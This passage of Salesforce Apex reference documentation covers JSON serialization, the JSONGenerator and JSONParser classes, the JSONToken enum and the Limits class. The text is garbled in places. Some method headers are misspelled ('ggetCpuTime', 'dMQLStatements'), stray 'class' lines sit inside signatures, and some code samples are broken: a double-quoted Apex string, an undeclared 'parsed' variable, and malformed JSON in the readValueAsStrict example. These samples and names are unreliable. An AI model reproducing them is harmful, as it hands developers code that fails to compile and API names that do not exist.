List<Object> a = (List<Object>)m.get('accessories');
System.assertEquals('powerCord', a[0]);
Map<String, Object> a2 = (Map<String, Object>)a[1];
System.assertEquals('door handle1', a2.get('right'));
System.assertEquals('door handle2', a2.get('left'));

Map<String, Object> dim = (Map<String, Object>)m.get('dimensions');
System.assertEquals(5.5, dim.get('height'));
System.assertEquals(3.0, dim.get('width'));
System.assertEquals(2.2, dim.get('depth'));

System.assertEquals(null, m.get('type'));
System.assertEquals(2000, m.get('inventory'));
System.assertEquals(1023.45, m.get('price'));
System.assertEquals(true, m.get('isShipped'));
System.assertEquals('123', m.get('modelNumber'));

**serialize**(objectToSerialize)

Serializes Apex objects into JSON content.

**Signature**

```
public static String serialize(Object objectToSerialize)
```

**Parameters**

*objectToSerialize*

- Type: Object
  - The Apex object to serialize.

**Return Value**

- Type: String
Example

The following example serializes a new `Datetime` value.

```java
Datetime dt = Datetime.newInstance(
    Date.newInstance(2011, 3, 22),
    Time.newInstance(1, 15, 18, 0));
String str = JSON.serialize(dt);
System.assertEquals("2011-03-22T08:15:18.000Z", str);
```

**serialize(objectToSerialize, suppressApexObjectNulls)**

Suppresses `null` values when serializing Apex objects into JSON content.

**Signature**

```java
public static String serialize(Object objectToSerialize, Boolean suppressApexObjectNulls)
```

**Parameters**

- `objectToSerialize`
  - Type: `Object`
  - The Apex object to serialize.

- `suppressApexObjectNulls`
  - Type: `Boolean`
  - If true, remove `null` values before serializing the JSON object.

**Return Value**

- Type: `String`

**Usage**

This method allows you to specify whether to suppress `null` values when serializing Apex objects into JSON content.

**serializePretty(objectToSerialize)**

Serializes Apex objects into JSON content and generates indented content using the pretty-print format.

**Signature**

```java
public static String serializePretty(Object objectToSerialize)
```

**Parameters**

- `objectToSerialize`
  - Type: `Object`
The Apex object to serialize.

Return Value
Type: String

`serializePretty(objectToSerialize, suppressApexObjectNulls)`
Suppresses null values when serializing Apex objects into JSON content and generates indented content using the pretty-print format.

Signature
```
public static String serializePretty(Object objectToSerialize, Boolean suppressApexObjectNulls)
```

Parameters
- `objectToSerialize`  
  Type: Object  
  The Apex object to serialize.
- `suppressApexObjectNulls`  
  Type: Boolean  
  If true, remove null values before serializing the JSON object.

Return Value
Type: String

**JSONGenerator Class**
Contains methods used to serialize objects into JSON content using the standard JSON encoding.

**Namespace**
System

**Usage**
The `System.JSONGenerator` class is provided to enable the generation of standard JSON-encoded content and gives you more control on the structure of the JSON output.

**SEE ALSO:**
- JSON Generator

**JSONGenerator Methods**
The following are methods for `JSONGenerator`. All are instance methods.
IN THIS SECTION:

close()
Closes the JSON generator.

getAsString()
Returns the generated JSON content.

isClosed()
Returns true if the JSON generator is closed; otherwise, returns false.

writeBlob(blobValue)
Writes the specified Blob value as a base64-encoded string.

writeBlobField(fieldName, blobValue)
Writes a field name and value pair using the specified field name and BLOB value.

writeBoolean(blobValue)
Writes the specified Boolean value.

writeBooleanField(fieldName, booleanValue)
Writes a field name and value pair using the specified field name and Boolean value.

writeDate(dateValue)
Writes the specified date value in the ISO-8601 format.

writeDateField(fieldName, dateValue)
Writes a field name and value pair using the specified field name and date value. The date value is written in the ISO-8601 format.

writeDateTime(datetimeValue)
Writes the specified date and time value in the ISO-8601 format.

writeDateTimeField(fieldName, datetimeValue)
Writes a field name and value pair using the specified field name and date and time value. The date and time value is written in the ISO-8601 format.

writeEndArray()
Writes the ending marker of a JSON array ('].

writeEndObject()
Writes the ending marker of a JSON object ('}').

writeFieldName(fieldName)
Writes a field name.

writeId(identifier)
Writes the specified ID value.

writeIdField(fieldName, identifier)
Writes a field name and value pair using the specified field name and identifier value.

writeNull()
Writes the JSON null literal value.

writeNullField(fieldName)
Writes a field name and value pair using the specified field name and the JSON null literal value.

writeNumber(number)
Writes the specified decimal value.
writeNumber(number)
Writes the specified double value.
writeNumber(number)
Writes the specified integer value.
writeNumber(number)
Writes the specified long value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and decimal value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and double value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and integer value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and long value.
writeObject(anyObject)
Writes the specified Apex object in JSON format.
writeObjectField(fieldName, value)
Writes a field name and value pair using the specified field name and Apex object.
writeStartArray()
Writes the starting marker of a JSON array ('[').
writeStartObject()
Writes the starting marker of a JSON object ('{').
writeString(stringValue)
Writes the specified string value.
writeStringField(fieldName, stringValue)
Writes a field name and value pair using the specified field name and string value.
writeTime(timeValue)
Writes the specified time value in the ISO-8601 format.
writeTimeField(fieldName, timeValue)
Writes a field name and value pair using the specified field name and time value in the ISO-8601 format.

close()
Closes the JSON generator.

Signature
public Void close()
Usage
No more content can be written after the JSON generator is closed.

**getAsString()**
Returns the generated JSON content.

Signature
```
public String getAsString()
```

Return Value
Type: **String**

Usage
This method closes the JSON generator if it isn’t closed already.

**isClosed()**
Returns `true` if the JSON generator is closed; otherwise, returns `false`.

Signature
```
public Boolean isClosed()
```

Return Value
Type: **Boolean**

**writeBlob(blobValue)**
Writes the specified **Blob** value as a base64-encoded string.

Signature
```
public Void writeBlob(Blob blobValue)
```

Parameters
blobValue
  Type: **Blob**

Return Value
Type: **Void**

**writeBlobField(fieldName, blobValue)**
Writes a field name and value pair using the specified field name and BLOB value.
**writeBlobField(fieldName, blobValue)**

Writes a field name and value pair using the specified field name and Blob value.

Signature

```java
public Void writeBlobField(String fieldName, Blob blobValue)
```

Parameters

- **fieldName**
  - Type: String

- **blobValue**
  - Type: Blob

Return Value

Type: Void

**writeBoolean(blobValue)**

Writes the specified Boolean value.

Signature

```java
public Void writeBoolean(Boolean blobValue)
```

Parameters

- **blobValue**
  - Type: Boolean

Return Value

Type: Void

**writeBooleanField(fieldName, booleanValue)**

Writes a field name and value pair using the specified field name and Boolean value.

Signature

```java
public Void writeBooleanField(String fieldName, Boolean booleanValue)
```

Parameters

- **fieldName**
  - Type: String

- **booleanValue**
  - Type: Boolean

Return Value

Type: Void
**writeDate(dateValue)**

Writes the specified date value in the ISO-8601 format.

**Signature**

```java
class 
public Void writeDate(Date dateValue)
```

**Parameters**

- **dateValue**
  
  Type: Date

**Return Value**

Type: Void

**writeDateField(fieldName, dateValue)**

 Writes a field name and value pair using the specified field name and date value. The date value is written in the ISO-8601 format.

**Signature**

```java
class 
public Void writeDateField(String fieldName, Date dateValue)
```

**Parameters**

- **fieldName**
  
  Type: String

- **dateValue**
  
  Type: Date

**Return Value**

Type: Void

**writeDateTime(datetimeValue)**

 Writes the specified date and time value in the ISO-8601 format.

**Signature**

```java
class 
public Void writeDateTime(Datetime datetimeValue)
```

**Parameters**

- **datetimeValue**
  
  Type: Datetime

**Return Value**

Type: Void
writeDateTimeField(fieldName, datetimeValue)

Writes a field name and value pair using the specified field name and date and time value. The date and time value is written in the ISO-8601 format.

Signature
public Void writeDateTimeField(String fieldName, Datetime datetimeValue)

Parameters
fieldName
  Type: String
datetimeValue
  Type: Datetime

Return Value
Type: Void

writeEndArray()

Writes the ending marker of a JSON array (']').

Signature
public Void writeEndArray()

Return Value
Type: Void

writeEndObject()

Writes the ending marker of a JSON object ('}').

Signature
public Void writeEndObject()

Return Value
Type: Void

writeFieldName(fieldName)

Writes a field name.
Signature

```java
public Void writeFieldName(String fieldName)
```

Parameters

fieldName
Type: String

Return Value
Type: Void

`writeId(identifier)`

Writes the specified ID value.

Signature

```java
public Void writeId(ID identifier)
```

Parameters

identifier
Type: ID

Return Value
Type: Void

`writeIdField(fieldName, identifier)`

Writes a field name and value pair using the specified field name and identifier value.

Signature

```java
public Void writeIdField(String fieldName, Id identifier)
```

Parameters

fieldName
Type: String
identifier
Type: ID

Return Value
Type: Void
**writeNull()**

Writes the JSON null literal value.

**Signature**

```java
public Void writeNull()
```

**Return Value**

Type: Void

**writeNullField(fieldName)**

Writes a field name and value pair using the specified field name and the JSON null literal value.

**Signature**

```java
public Void writeNullField(String fieldName)
```

**Parameters**

- `fieldName`
  Type: String

**Return Value**

Type: Void

**writeNumber(number)**

Writes the specified decimal value.

**Signature**

```java
public Void writeNumber(Decimal number)
```

**Parameters**

- `number`
  Type: Decimal

**Return Value**

Type: Void

**writeNumber(number)**

Writes the specified double value.
Signature
public Void writeNumber(Double number)

Parameters
number
  Type: Double

Return Value
Type: Void

writeNumber(number)
Writes the specified integer value.

Signature
public Void writeNumber(Integer number)

Parameters
number
  Type: Integer

Return Value
Type: Void

writeNumber(number)
Writes the specified long value.

Signature
public Void writeNumber(Long number)

Parameters
number
  Type: Long

Return Value
Type: Void

writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and decimal value.
Signature

`public Void writeNumberField(String fieldName, Decimal number)`

Parameters

- `fieldName`
  - Type: `String`

- `number`
  - Type: `Decimal`

Return Value

Type: `Void`

`writeNumberField(fieldName, number)`

Writes a field name and value pair using the specified field name and double value.

Signature

`public Void writeNumberField(String fieldName, Double number)`

Parameters

- `fieldName`
  - Type: `String`

- `number`
  - Type: `Double`

Return Value

Type: `Void`

`writeNumberField(fieldName, number)`

Writes a field name and value pair using the specified field name and integer value.

Signature

`public Void writeNumberField(String fieldName, Integer number)`

Parameters

- `fieldName`
  - Type: `String`

- `number`
  - Type: `Integer`
Return Value
Type: Void

writeNumberField(fieldName, number)

Writes a field name and value pair using the specified field name and long value.

Signature

public Void writeNumberField(String fieldName, Long number)

Parameters

fieldName
Type: String

number
Type: Long

Return Value
Type: Void

writeObject(anyObject)

Writes the specified Apex object in JSON format.

Signature

public Void writeObject(Object anyObject)

Parameters

anyObject
Type: Object

Return Value
Type: Void

writeObjectField(fieldName, value)

Writes a field name and value pair using the specified field name and Apex object.

Signature

public Void writeObjectField(String fieldName, Object value)
Parameters
fieldName
  Type: String
value
  Type: Object

Return Value
Type: Void

**writeStartArray()**
Writes the starting marker of a JSON array ('[').

Signature
```java
public Void writeStartArray()
```

Return Value
Type: Void

**writeStartObject()**
Writes the starting marker of a JSON object ('{').

Signature
```java
public Void writeStartObject()
```

Return Value
Type: Void

**writeString(stringValue)**
Writes the specified string value.

Signature
```java
public Void writeString(String stringValue)
```

Parameters
stringValue
  Type: String

Return Value
Type: Void
writeStringField(fieldName, stringValue)
Writes a field name and value pair using the specified field name and string value.

Signature
public Void writeStringField(String fieldName, String stringValue)

Parameters
fieldName
Type: String
stringValue
Type: String

Return Value
Type: Void

writeTime(timeValue)
Writes the specified time value in the ISO-8601 format.

Signature
public Void writeTime(Time timeValue)

Parameters
timeValue
Type: Time

Return Value
Type: Void

writeTimeField(fieldName, timeValue)
Writes a field name and value pair using the specified field name and time value in the ISO-8601 format.

Signature
public Void writeTimeField(String fieldName, Time timeValue)

Parameters
fieldName
Type: String
timeValue
Type: Time
Return Value
Type: Void

**JSONParser Class**
Represents a parser for JSON-encoded content.

**Namespace**
*System*

**Usage**
Use the `System.JSONParser` methods to parse a response that's returned from a call to an external service that is in JSON format, such as a JSON-encoded response of a Web service callout.

SEE ALSO:
- JSON Parsing

**JSONParser Methods**
The following are methods for `JSONParser`. All are instance methods.

**IN THIS SECTION:**
- `clearCurrentToken()`  
  Removes the current token.
- `getBlobValue()`  
  Returns the current token as a BLOB value.
- `getBooleanValue()`  
  Returns the current token as a Boolean value.
- `getCurrentName()`  
  Returns the name associated with the current token.
- `getCurrentToken()`  
  Returns the token that the parser currently points to or `null` if there's no current token.
- `getDatetimeValue()`  
  Returns the current token as a date and time value.
- `getDateValue()`  
  Returns the current token as a date value.
- `getDecimalValue()`  
  Returns the current token as a decimal value.
- `getDoubleValue()`  
  Returns the current token as a double value.
getIdValue()
Returns the current token as an ID value.

getIntegerValue()
Returns the current token as an integer value.

getLastClearedToken()
Returns the last token that was cleared by the clearCurrentToken method.

getLongValue()
Returns the current token as a long value.

getText()
Returns the textual representation of the current token or null if there's no current token.

getTimeValue()
Returns the current token as a time value.

hasCurrentToken()
Returns true if the parser currently points to a token; otherwise, returns false.

nextToken()
Returns the next token or null if the parser has reached the end of the input stream.

nextValue()
Returns the next token that is a value type or null if the parser has reached the end of the input stream.

readValueAs(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object.

readValueAsStrict(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object. All attributes in the JSON content must be present in the specified type.

skipChildren()
Skips all child tokens of type JSONToken.START_ARRAY and JSONToken.START_OBJECT that the parser currently points to.

clearCurrentToken()
Removes the current token.

Signature

public Void clearCurrentToken()

Return Value
Type: Void

Usage
After this method is called, a call to hasCurrentToken returns false and a call to getCurrentToken returns null. You can retrieve the cleared token by calling getLastClearedToken.
getBlobValue()
Returns the current token as a BLOB value.

Signature
public Blob getBlobValue()

Return Value
Type: Blob

Usage
The current token must be of type JSONToken.VALUE_STRING and must be Base64-encoded.

getBooleanValue()
Returns the current token as a Boolean value.

Signature
public Boolean getBooleanValue()

Return Value
Type: Boolean

Usage
The current token must be of type JSONToken.VALUE_TRUE or JSONToken.VALUE_FALSE.
The following example parses a sample JSON string and retrieves a Boolean value.

```java
String JSONContent = '{"isActive":true}';
JSONParser parser = JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the Boolean value.
Boolean isActive = parser.getBooleanValue();
```

getCurrentName()
Returns the name associated with the current token.

Signature
public String getCurrentName()
### Return Value

**Type:** String

### Usage

If the current token is of type `JSONToken.FIELD_NAME`, this method returns the same value as `getText`. If the current token is a value, this method returns the field name that precedes this token. For other values such as array values or root-level values, this method returns `null`.

The following example parses a sample JSON string. It advances to the field value and retrieves its corresponding field name.

**Example**

```java
String JSONContent = '{"firstName":"John"}';
JSONParser parser = JSON.createParser(JSONContent);
// Advance to the start object marker.
parsed.nextToken();
// Advance to the next value.
parsed.nextValue();
// Get the field name for the current value.
String fieldName = parser.getCurrentName();
// Get the textual representation
// of the value.
String fieldValue = parser.getText();
```

**getcurrentToken()**

Returns the token that the parser currently points to or `null` if there’s no current token.

### Signature

```java
public System.JSONToken getCurrentToken()
```

### Return Value

**Type:** `System.JSONToken`

### Usage

The following example iterates through all the tokens in a sample JSON string.

```java
String JSONContent = '{"firstName":"John"}';
JSONParser parser = JSON.createParser(JSONContent);
// Advance to the next token.
while (parser.nextToken() != null) {
    System.debug('Current token: ' +
                 parser.getCurrentToken());
}
```
**getDatetimeValue()**
Returns the current token as a date and time value.

Signature

```java
public Datetime getDatetimeValue()
```

Return Value

Type: Datetime

Usage

The current token must be of type `JSONToken.VALUE_STRING` and must represent a `Datetime` value in the ISO-8601 format.

The following example parses a sample JSON string and retrieves a Datetime value.

```java
String JSONContent = 
'{"transactionDate":"2011-03-22T13:01:23"}';
JSONParser parser = 
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the transaction date.
Datetime transactionDate = 
    parser.getDatetimeValue();
```

**getDateValue()**

Returns the current token as a date value.

Signature

```java
public Date getDateValue()
```

Return Value

Type: Date

Usage

The current token must be of type `JSONToken.VALUE_STRING` and must represent a `Date` value in the ISO-8601 format.

The following example parses a sample JSON string and retrieves a Date value.

```java
String JSONContent = 
'{"dateOfBirth":"2011-03-22"}';
JSONParser parser = 
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
```
// Advance to the next value.
parser.nextValue();
// Get the date of birth.
Date dob = parser.getDateValue();

**getDecimalValue()**

Returns the current token as a decimal value.

Signature

```java
public Decimal getDecimalValue()
```

Return Value

Type: **Decimal**

Usage

The current token must be of type `JSONToken.VALUE_NUMBER_FLOAT` or `JSONToken.VALUE_NUMBER_INT` and is a numerical value that can be converted to a value of type `Decimal`.

The following example parses a sample JSON string and retrieves a Decimal value.

```java
String JSONContent = 
  '{"GPA":3.8}';
JSONParser parser = 
  JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the GPA score.
Decimal gpa = parser.getDecimalValue();
```

**getDoubleValue()**

Returns the current token as a double value.

Signature

```java
public Double getDoubleValue()
```

Return Value

Type: **Double**

Usage

The current token must be of type `JSONToken.VALUE_NUMBER_FLOAT` and is a numerical value that can be converted to a value of type `Double`.
The following example parses a sample JSON string and retrieves a Double value.

```java
String JSONContent =
    '{"GPA":3.8}';
JSONParser parser =
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the GPA score.
Double gpa = parser.getDoubleValue();
```

**getIdValue()**

Returns the current token as an ID value.

**Signature**

```java
public ID getIdValue()
```

**Return Value**

**Type:** ID

**Usage**

The current token must be of type JSONToken.VALUE_STRING and must be a valid ID.

The following example parses a sample JSON string and retrieves an ID value.

```java
String JSONContent =
    '{"recordId":"001R0000002nO6H"}';
JSONParser parser =
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record ID.
ID recordID = parser.getIdValue();
```

**getIntegerValue()**

Returns the current token as an integer value.

**Signature**

```java
public Integer getIntegerValue()
```

**Return Value**

**Type:** Integer
Usage

The current token must be of type `JSONToken.VALUE_NUMBER_INT` and must represent an `Integer`.

The following example parses a sample JSON string and retrieves an Integer value.

```java
String JSONContent = 
   '{"recordCount":10}';
JSONParser parser = 
   JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record count.
Integer count = parser.getIntegerValue();
```

**getLastClearedToken()**

Returns the last token that was cleared by the `clearCurrentToken` method.

**Signature**

```java
public System.JSONToken getLastClearedToken()
```

**Return Value**

Type: `System.JSONToken`

**getLongValue()**

Returns the current token as a long value.

**Signature**

```java
public Long getLongValue()
```

**Return Value**

Type: `Long`

Usage

The current token must be of type `JSONToken.VALUE_NUMBER_INT` and is a numerical value that can be converted to a value of type `Long`.

The following example parses a sample JSON string and retrieves a Long value.

```java
String JSONContent = 
   '{"recordCount":2097531021}';
JSONParser parser = 
   JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
```
// Advance to the next value.
parser.nextValue();
// Get the record count.
Long count = parser.getLongValue();

**getText()**

Returns the textual representation of the current token or null if there's no current token.

**Signature**

```java
public String getText()
```

**Return Value**

**Type**: String

**Usage**

No current token exists, and therefore this method returns null, if `nextToken` has not been called yet for the first time or if the parser has reached the end of the input stream.

**getTimeValue()**

Returns the current token as a time value.

**Signature**

```java
public Time getTimeValue()
```

**Return Value**

**Type**: Time

**Usage**

The current token must be of type `JSONToken.VALUE_STRING` and must represent a Time value in the ISO-8601 format.

The following example parses a sample JSON string and retrieves a Datetime value.

```java
String JSONContent =
    '{"arrivalTime":"18:05"}';
JSONParser parser =
    JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the arrival time.
Time arrivalTime = parser.getTimeValue();
```
**hasCurrentToken()**
Returns true if the parser currently points to a token; otherwise, returns false.

Signature
public Boolean hasCurrentToken()

Return Value
Type: Boolean

**nextToken()**
Returns the next token or null if the parser has reached the end of the input stream.

Signature
public System.JSONToken nextToken()

Return Value
Type: System.JSONToken

Usage
Advances the stream enough to determine the type of the next token, if any.

**nextValue()**
Returns the next token that is a value type or null if the parser has reached the end of the input stream.

Signature
public System.JSONToken nextValue()

Return Value
Type: System.JSONToken

Usage
Advances the stream enough to determine the type of the next token that is of a value type, if any, including a JSON array and object start and end markers.

**readValueAs(apexType)**
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object.

Signature
public Object readValueAs(System.Type apexType)
Parameters

**apexType**

Type: `System.Type`

The `apexType` argument specifies the type of the object that this method returns after deserializing the current value.

Return Value

Type: Object

Usage

If the JSON content contains attributes not present in the `System.Type` argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON content into a custom object or an `sObject` using Salesforce API version 34.0 or earlier, this method throws a runtime exception when passed extraneous attributes. When deserializing JSON content into an Apex class in any API version, or into an object in API version 35.0 or later, no exception is thrown. When no exception is thrown, this method ignores extraneous attributes and parses the rest of the JSON content.

Example

The following example parses a sample JSON string and retrieves a Datetime value. Before being able to run this sample, you must create a new Apex class as follows:

```apex
public class Person {
    public String name;
    public String phone;
}
```

Next, insert the following sample in a class method:

```java
// JSON string that contains a Person object.
String JSONContent = 
    '{"person":{
        "name":"John Smith", 
        "phone":"555-1212"}}';
JSONParser parser = 
    JSON.createParser(JSONContent);
// Make calls to nextToken()
// to point to the second
// start object marker.
parser.nextToken();
parser.nextToken();
parser.nextToken();
// Retrieve the Person object
// from the JSON string.
Person obj = 
    (Person)parser.readValueAs(
        Person.class);
System.assertEquals(
    obj.name, 'John Smith');
System.assertEquals(
    obj.phone, '555-1212');
```
**readValueAsStrict** *(apexType)*

Deserializes JSON content into an object of the specified Apex type and returns the deserialized object. All attributes in the JSON content must be present in the specified type.

**Signature**

```java
public Object readValueAsStrict(System.Type apexType)
```

**Parameters**

*apexType*

Type: `System.Type`

The `apexType` argument specifies the type of the object that this method returns after deserializing the current value.

**Return Value**

Type: `Object`

**Usage**

If the JSON content contains attributes not present in the `System.Type` argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON content with extraneous attributes into an Apex class, this method throws an exception in all API versions. However, no exception is thrown when you use this method to deserialize JSON content into a custom object or an sObject.

The following example parses a sample JSON string and retrieves a Datetime value. Before being able to run this sample, you must create a new Apex class as follows:

```java
public class Person {
    public String name;
    public String phone;
}
```

Next, insert the following sample in a class method:

```java
// JSON string that contains a Person object.
String JSONContent = '{"person":{""name":"John Smith",""phone":"555-1212"}}';
JSONParser parser = JSON.createParser(JSONContent);
// Make calls to nextToken()
// to point to the second
// start object marker.
parser.nextToken();
parser.nextToken();
parser.nextToken();
// Retrieve the Person object
// from the JSON string.
Person obj =
    (Person)parser.readValueAsStrict(
        Person.class);
```
skipChildren()

Skips all child tokens of type JSONToken.START_ARRAY and JSONToken.START_OBJECT that the parser currently points to.

Signature

```java
public Void skipChildren()
```

Return Value

Type: Void

### JSONToken Enum

Contains all token values used for parsing JSON content.

<table>
<thead>
<tr>
<th>Enum Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>END_ARRAY</td>
<td>The ending of an array value. This token is returned when ‘]’ is encountered.</td>
</tr>
<tr>
<td>END_OBJECT</td>
<td>The ending of an object value. This token is returned when ‘}’ is encountered.</td>
</tr>
<tr>
<td>FIELD_NAME</td>
<td>A string token that is a field name.</td>
</tr>
<tr>
<td>NOT_AVAILABLE</td>
<td>The requested token isn’t available.</td>
</tr>
<tr>
<td>START_ARRAY</td>
<td>The start of an array value. This token is returned when ‘[’ is encountered.</td>
</tr>
<tr>
<td>START_OBJECT</td>
<td>The start of an object value. This token is returned when ‘{’ is encountered.</td>
</tr>
<tr>
<td>VALUE_EMBEDDED_OBJECT</td>
<td>An embedded object that isn’t accessible as a typical object structure that includes the start and end object tokens START_OBJECT and END_OBJECT but is represented as a raw object.</td>
</tr>
<tr>
<td>VALUE_FALSE</td>
<td>The literal “false” value.</td>
</tr>
<tr>
<td>VALUE_NULL</td>
<td>The literal “null” value.</td>
</tr>
<tr>
<td>VALUE_NUMBER_FLOAT</td>
<td>A float value.</td>
</tr>
</tbody>
</table>
Limits Class
Contains methods that return limit information for specific resources.

Namespace
System

Usage
The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap size remaining.
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway Apex doesn’t monopolize shared resources.
None of the Limits methods require an argument. The format of the limits methods is as follows:

```
myDMLLimit = Limits.getDMLStatements();
```

There are two versions of every method: the first returns the amount of the resource that has been used while the second version contains the word limit and returns the total amount of the resource that is available.
See Execution Governors and Limits on page 303.

Limits Methods
The following are methods for Limits. All methods are static.

**IN THIS SECTION:**
- `getAggregateQueries()`: Returns the number of aggregate queries that have been processed with any SOQL query statement.
- `getLimitAggregateQueries()`: Returns the total number of aggregate queries that can be processed with SOQL query statements.
- `getAsyncCalls()`: Reserved for future use.
- `getLimitAsyncCalls()`: Reserved for future use.
- `getCallouts()`: Returns the number of Web service statements that have been processed.
getChildRelationshipsDescribes()
Deprecated. Returns the number of child relationship objects that have been returned.

getLimitCallouts()
Returns the total number of Web service statements that can be processed.

getCpuTime()
Returns the CPU time (in milliseconds) that has been used in the current transaction.

getLimitCpuTime()
Returns the maximum CPU time (in milliseconds) that can be used in a transaction.

getDMLRows()
Returns the number of records that have been processed with any statement that counts against DML limits, such as DML statements, the Database.emptyRecycleBin method, and other methods.

getLimitDMLRows()
Returns the total number of records that can be processed with any statement that counts against DML limits, such as DML statements, the database.EmptyRecycleBin method, and other methods.

dMQLStatements()
Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that have been called.

getLimitDMLStatements()
Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called.

getEmailInvocations()
Returns the number of email invocations (such as sendEmail) that have been called.

getLimitEmailInvocations()
Returns the total number of email invocation (such as sendEmail) that can be called.

getFindSimilarCalls()
Deprecated. Returns the same value as getSoslQueries. The number of findSimilar methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.

getLimitFindSimilarCalls()
Deprecated. Returns the same value as getLimitSoslQueries. The number of findSimilar methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.

getFutureCalls()
Returns the number of methods with the future annotation that have been executed (not necessarily completed).

getLimitFutureCalls()
Returns the total number of methods with the future annotation that can be executed (not necessarily completed).

getHeapSize()
Returns the approximate amount of memory (in bytes) that has been used for the heap.

getLimitHeapSize()
Returns the total amount of memory (in bytes) that can be used for the heap.

getMobilePushApexCalls()
Returns the number of Apex calls that have been used by mobile push notifications during the current metering interval.

getLimitMobilePushApexCalls()
Returns the total number of Apex calls that are allowed per transaction for mobile push notifications.
getPublishImmediateDML()
Returns the number of EventBus.publish calls that have been made for platform events configured to publish immediately.

getLimitPublishImmediateDML()
Returns the total number of EventBus.publish statements that can be called for platform events configured to publish immediately.

getQueries()
Returns the number of SOQL queries that have been issued.

getLimitQueries()
Returns the total number of SOQL queries that can be issued.

getQueryLocatorRows()
Returns the number of records that have been returned by the Database.getQueryLocator method.

getLimitQueryLocatorRows()
Returns the total number of records that can be returned by the Database.getQueryLocator method.

getQueryRows()
Returns the number of records that have been returned by issuing SOQL queries.

getLimitQueryRows()
Returns the total number of records that can be returned by issuing SOQL queries.

getQueueableJobs()
Returns the number of queueable jobs that have been added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

getLimitQueueableJobs()
Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

getRunAs()
Deprecated. Returns the same value as getDMLStatements.

getLimitRunAs()
Deprecated. Returns the same value as getLimitDMLStatements.

getSavepointRollbacks()
Deprecated. Returns the same value as getDMLStatements.

getLimitSavepointRollbacks()
Deprecated. Returns the same value as getLimitDMLStatements.

getSavepoints()
Deprecated. Returns the same value as getDMLStatements.

getLimitSavepoints()
Deprecated. Returns the same value as getLimitDMLStatements.

getSoslQueries()
Returns the number of SOSL queries that have been issued.

getLimitSoslQueries()
Returns the total number of SOSL queries that can be issued.
getAggregateQueries()
Returns the number of aggregate queries that have been processed with any SOQL query statement.

Signature

public static Integer getAggregateQueries()

Return Value
Type: Integer

getLimitAggregateQueries()
Returns the total number of aggregate queries that can be processed with SOQL query statements.

Signature

public static Integer getLimitAggregateQueries()

Return Value
Type: Integer

getAsyncCalls()
Reserved for future use.

Signature

public static Integer getAsyncCalls()

Return Value
Type: Integer

getLimitAsyncCalls()
Reserved for future use.

Signature

public static Integer getLimitAsyncCalls()

Return Value
Type: Integer

callouts()
Returns the number of Web service statements that have been processed.
getCallouts()

Signature
public static Integer getCallouts()

Return Value
Type: Integer

ggetChildRelationshipsDescribes()

Deprecated. Returns the number of child relationship objects that have been returned.

Signature
public static Integer getChildRelationshipsDescribes()

Return Value
Type: Integer

Usage

Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0 and earlier, this method is available but is deprecated.

ggetLimitCallouts()

Returns the total number of Web service statements that can be processed.

Signature
public static Integer getLimitCallouts()

Return Value
Type: Integer

ggetCpuTime()

Returns the CPU time (in milliseconds) that has been used in the current transaction.

Signature
public static Integer getCpuTime()

Return Value
Type: Integer

ggetLimitCpuTime()

Returns the maximum CPU time (in milliseconds) that can be used in a transaction.
**getLimitCpuTime()**

Signature

```java
public static Integer getLimitCpuTime()
```

Return Value

Type: Integer

**getDMLRows()**

Returns the number of records that have been processed with any statement that counts against DML limits, such as DML statements, the Database.emptyRecycleBin method, and other methods.

Signature

```java
public static Integer getDMLRows()
```

Return Value

Type: Integer

**getLimitDMLRows()**

Returns the total number of records that can be processed with any statement that counts against DML limits, such as DML statements, the database.EmptyRecycleBin method, and other methods.

Signature

```java
public static Integer getLimitDMLRows()
```

Return Value

Type: Integer

**getDMLStatements()**

Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that have been called.

Signature

```java
public static Integer getDMLStatements()
```

Return Value

Type: Integer

**getLimitDMLStatements()**

Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called.
Signature

```java
public static Integer getLimitDMLStatements()
```

Return Value
Type: Integer

**getEmailInvocations()**
Returns the number of email invocations (such as `sendEmail`) that have been called.

Signature

```java
public static Integer getEmailInvocations()
```

Return Value
Type: Integer

**getLimitEmailInvocations()**
Returns the total number of email invocation (such as `sendEmail`) that can be called.

Signature

```java
public static Integer getLimitEmailInvocations()
```

Return Value
Type: Integer

**getFindSimilarCalls()**
Deprecated. Returns the same value as `getSoslQueries`. The number of `findSimilar` methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.

Signature

```java
public static Integer getFindSimilarCalls()
```

Return Value
Type: Integer

